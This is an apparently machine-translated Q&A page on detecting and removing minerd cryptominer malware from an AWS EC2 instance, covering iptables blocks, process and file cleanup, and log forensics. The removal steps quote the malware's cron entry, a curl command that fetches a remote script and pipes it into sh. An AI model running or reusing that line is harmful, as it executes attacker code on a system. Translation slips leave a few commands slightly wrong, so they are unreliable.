GNU/Linux >> Linux の 問題 >  >> Linux

AWS EC2 インスタンスで minerd マルウェアを殺すにはどうすればよいですか?

minerd を削除する解決策を見つけました .幸運なことに、サーバーの感染に使用された実際のスクリプトを見つけることができました。このスクリプトによって配置された要素を削除するだけで済みました -

<オール>
  • monkeyoto の提案で、マイニング プール サーバーとのすべての通信をブロックしました - iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP .
  • cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh を削除しました /var/spool/cron/root から および /var/spool/cron/crontabs/root .
  • ディレクトリ /opt/yam を削除しました .
  • 削除された /root/.ssh/KHK75NEOiq .
  • ファイル /opt/minerd を削除しました および /opt/KHK75NEOiq33 .
  • マイナープロセスを停止しました - pkill minerd .
  • 停止 lady - service lady stop .
  • ps -eo pcpu,args --sort=-%cpu | head を実行しました 、 top -bn2 |sed -n '7,25'pps aux | grep minerd その後、マルウェアはどこにも見当たりませんでした.

    システムへのアクセスをどのように取得したかを突き止める必要がありますが、この方法で無効にすることができました。


    あなたの最初の目標は(再インストールしたくない場合)、そもそもどのようにしてそこにたどり着いたかを判断することです。攻撃者が狡猾なら、「timestomp」を実行してバイナリの日付を変更するでしょう。脆弱なバージョンの Wordpress、Joomla、またはその他のものを実行している場合、SSH を最小化してもほとんど効果がありません。たとえば、Minerd を実行するために誰かが使用した Nagios エクスプロイトがありました。目標は... 「何が実行されているのか、なぜ実行されているのか、脆弱性があるのか​​を判断する」

    次に、マイニング プール サーバーとの間のすべての通信をブロックします。

    iptables -A INPUT -S xmr.crypto-pool.fr -j DROP
    

    では、何が変更され、変更され、脆弱であるかをどのように判断するのでしょうか?システムを理解する必要があります。何をするのか、なぜそれをするのか、誰がアクセスする必要があるのか​​。 crontab を検索して、何かが開始されているかどうかを確認します。次のように実行できます:service --status-all 実行中/起動中のサービスを確認し、それらを調査します。 /opt/minrd はファイルのようで、そのファイルをチェックサムします。そのファイルを呼び出すもの、または一致するファイルを検索するスクリプトを作成できます。例:find / | xargs grep -i minerd または find / | xargs grep -i CHECKSUM_of_MINERD (これはファイル内を検索するための残忍な方法であることを覚えておいてください)。

    3 番目に、ログを確認します。 Web サーバーを実行している場合は、エラー ログ (error_logs) から始めて、アドレスから複数の 403 および 404 を探し、その後に access_log で接続が成功したことを確認します。受け入れられたパス (例:200:/var/www/nagios_or_something_vulnerable/config.php) を確認し、ディレクトリ内を調べます。この情報を見つけるには多くの方法がありますが、投稿された限られた量の情報に基づいて情報を推測することしかできないため、ここで完全な答えを提供できるものはありません。

    「minerd という名前のファイルが開始されました!」そのファイルを探します。 (find /|xargs grep -i minerd )。 「この変な紐使ってる!」 (find / |xargs grep -i 47TS1NQvebb3Feq )。 「ポート 8080 に接続します!」 (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}' )。 「このアドレスに接続しています!」 (lsof -i | grep xmr.crypto ...これで、できることのベースラインができました。


    問題は、マイナーがおそらく何らかの (他の) マルウェアのペイロードであるため、システム上で他に何が侵害されたかを実際に判断できないことです。おそらく、システムには他に常駐するものはなく、マイナーを殺すたびに再感染するだけです.

    または、サーバーへのバックドアを開いた管理/ドロッパー プロセスがあります。

    最も安全な方法は、サーバーを再作成することです。ただし、スキャンしたい場合は、https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx から Sophos Anti-Virus を無料で入手できます。


    Linux
    1. Terraformを使用してAWSでRDSインスタンスを作成する方法

    2. EC2 インスタンスに xclip をインストールするにはどうすればよいですか?

    3. Linux EC2 インスタンスに PHPMyAdmin をインストールするには?

    1. AWS EC2 ubuntu インスタンスのディスク容量を増やす

    2. BashでTCPポート16969を強制終了するにはどうすればよいですか?

    3. jq を Amazon EC2 インスタンスにインストールする方法

    1. Terraformを使用してAWSでEC2インスタンスを作成します

    2. コンソールで Firefox を強制終了するにはどうすればよいですか?

    3. 停止したすべてのジョブを強制終了するにはどうすればよいですか?